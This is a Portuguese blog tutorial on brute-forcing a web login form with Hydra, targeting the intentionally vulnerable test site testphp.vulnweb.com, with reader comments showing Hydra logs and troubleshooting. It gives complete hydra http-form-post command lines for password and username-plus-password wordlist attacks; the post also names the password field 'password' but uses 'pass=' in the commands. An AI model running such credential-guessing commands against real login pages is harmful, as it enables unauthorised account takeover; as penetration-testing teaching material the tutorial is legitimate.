quarta-feira, 9 de setembro de 2015

Realizando ataques de Força Bruta em formulários de Login com Hydra


Para efetuar a força bruta em um formulário, você deve saber algumas coisas:

1 - O Hostname ou IP do alvo
2 - Saber se o alvo roda HTTP ou HTTPS
3 - Saber se o parâmetro a ser atacado passa por POST ou GET e qual arquivo PHP recebe esses parâmetros.
4 - A diferença da resposta de sucesso e falha que a página dá


Para o estudo de caso iremos atacar o site http://testphp.vulnweb.com/. 
Esse site possui várias falhas para serem exploradas, e pode explorar sem medo, ele é feito para testes de aprendizado em testes de intrusão. Dentro de curtos períodos de tempo o site da um auto-reload nele mesmo restaurando a zoeira da meninada. 

1. Análise do Ambiente 

Vamos analisar a URL http://testphp.vulnweb.com/login.php

No Chrome, apertando F12 para verificar o código fonte da página, vamos analisar o nome dos inputs de usuário e senha do formulário de login. Nós precisamos dos nomes desses campos para efetuar o ataque. 



Analisando o formulário HTML conseguimos verificar facilmente os nomes dos inputs que vão ser enviados via POST para o site o nome do input do Login é uname e da Senha é password, e o arquivo PHP que recebe as informações é o userinfo.php. 









2. Efetuando a análise do comportamento do formulário


Vamos efetuar um login errado para ver o comportamento do site




Veja que a principio ele não nos deu nenhuma resposta de erro. 
Não tem problema, podemos simular a resposta de erro de forma genérica. Vamos colocar como negativo o nome da página de Login "login page"


3. Realizando o ataque 


Lembrando que você precisará de 2 Wordlists: uma para armazenar uma sequencia de logins e outra para uma sequencia de senhas. Lembrando que não iremos fornecer Wordlists. Não insistam. 

Vamos ao ataque:

Método 1 - Brute Force somente na senha. 

Este caso é recomendado caso você já tenha em mãos algum login válido do sistema.

# hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -P passlist.txt -t 10



Resultado Login: test Password: test

Explicando:

-l  aqui vamos definir o nome do usuário a ser testado

-P define o local da sua Wordlist

http-post-form é o método utilizado pelo formulário.

/userinfo.php:uname=^USER^&pass=^PASS^:login page em respectivamente significam o arquivo que os dados são enviados para validação, uname é o nome do input do login que achamos anteriormente, pass é o nome do input da senha e login page é o parâmetro de erro que definimos para o software. 

Ele vai testar todos os logins e senhas da sua passlist tentando efetuar uma combinação de resposta positiva no servidor. 



Ok, vamos testart: 





Metodo 2 - Brute Force no usuário e na senha 

# hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -L userlist.txt -P passlist.txt -t 10 - V



Nesta caso precisaremos ter também uma wordlist para os usuários. Este método é mais demorado, pois ele vai testar todos as senhas para cada um dos logins da Wordlist.
A única coisa que teremos que alterar em comparação ao exemplo anterior é que precisaremos substituir o -l usuario para -L listadeusuarios.txt

Lembrando que a técnica é feita para ser usada para testes de penetração em rede corporativa, e não para cometer crimes. 

:) 



SOBRE O AUTOR

Matheus Fidelis

http://msfidelis.github.io/

Power Ranger, Piloto de Helicópteros e Astronauta da NASA. Desenvolvedor Web PHP com foco em Backend e POO, Linux SysAdmin DevOps e Entusiasta Python. Criou esse site pra contribuir com a comunidade com coisas que aprende dentro de um setor maluco de TI :)

4 comentários:

  1. Ótimo post!

    Pena que aqui não rolou

    [ATTEMPT] target testphp.vulnweb.com - login "test" - pass "test" - 105 of 108 [child 1]
    [ATTEMPT] target testphp.vulnweb.com - login "test" - pass "qwe123" - 106 of 108 [child 5]
    [ATTEMPT] target testphp.vulnweb.com - login "test" - pass "qwe123456" - 107 of 108 [child 3]
    [ATTEMPT] target testphp.vulnweb.com - login "test" - pass "test" - 108 of 108 [child 0]
    [STATUS] 18.00 tries/min, 108 tries in 00:06h, 1 todo in 00:01h, 8 active
    1 of 1 target completed, 0 valid passwords found
    Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-26 20:04:45

    Coloquei até 2 vezes o test no passlist.txt e nada.

    ResponderExcluir
    Respostas
    1. Tenha certeza de que você parametrizou corretamente, do mesmo modo que a requisição é enviada. Na duvida, use o Burp Suite.

      Excluir
    2. Realmente o comando:
      hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -P passlist.txt -t 10

      *com test sendo uma das senhas em passlist.txt

      ou até mesmo o:
      hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -p test -t 10

      Retorna 0 valid passwords found.

      Não consegui identificar a causa de não identificar o usuário test e senha test.

      Excluir
  2. Parabéns! Matheus, você poderia explicar o uso do "-t 10" e como poderíamos usar o máximo da máquina para efetuar o ataque?

    ResponderExcluir

 
Nanoshots | Open Source Security, Linux e Tutoriais © 2015 - Designed by Templateism.com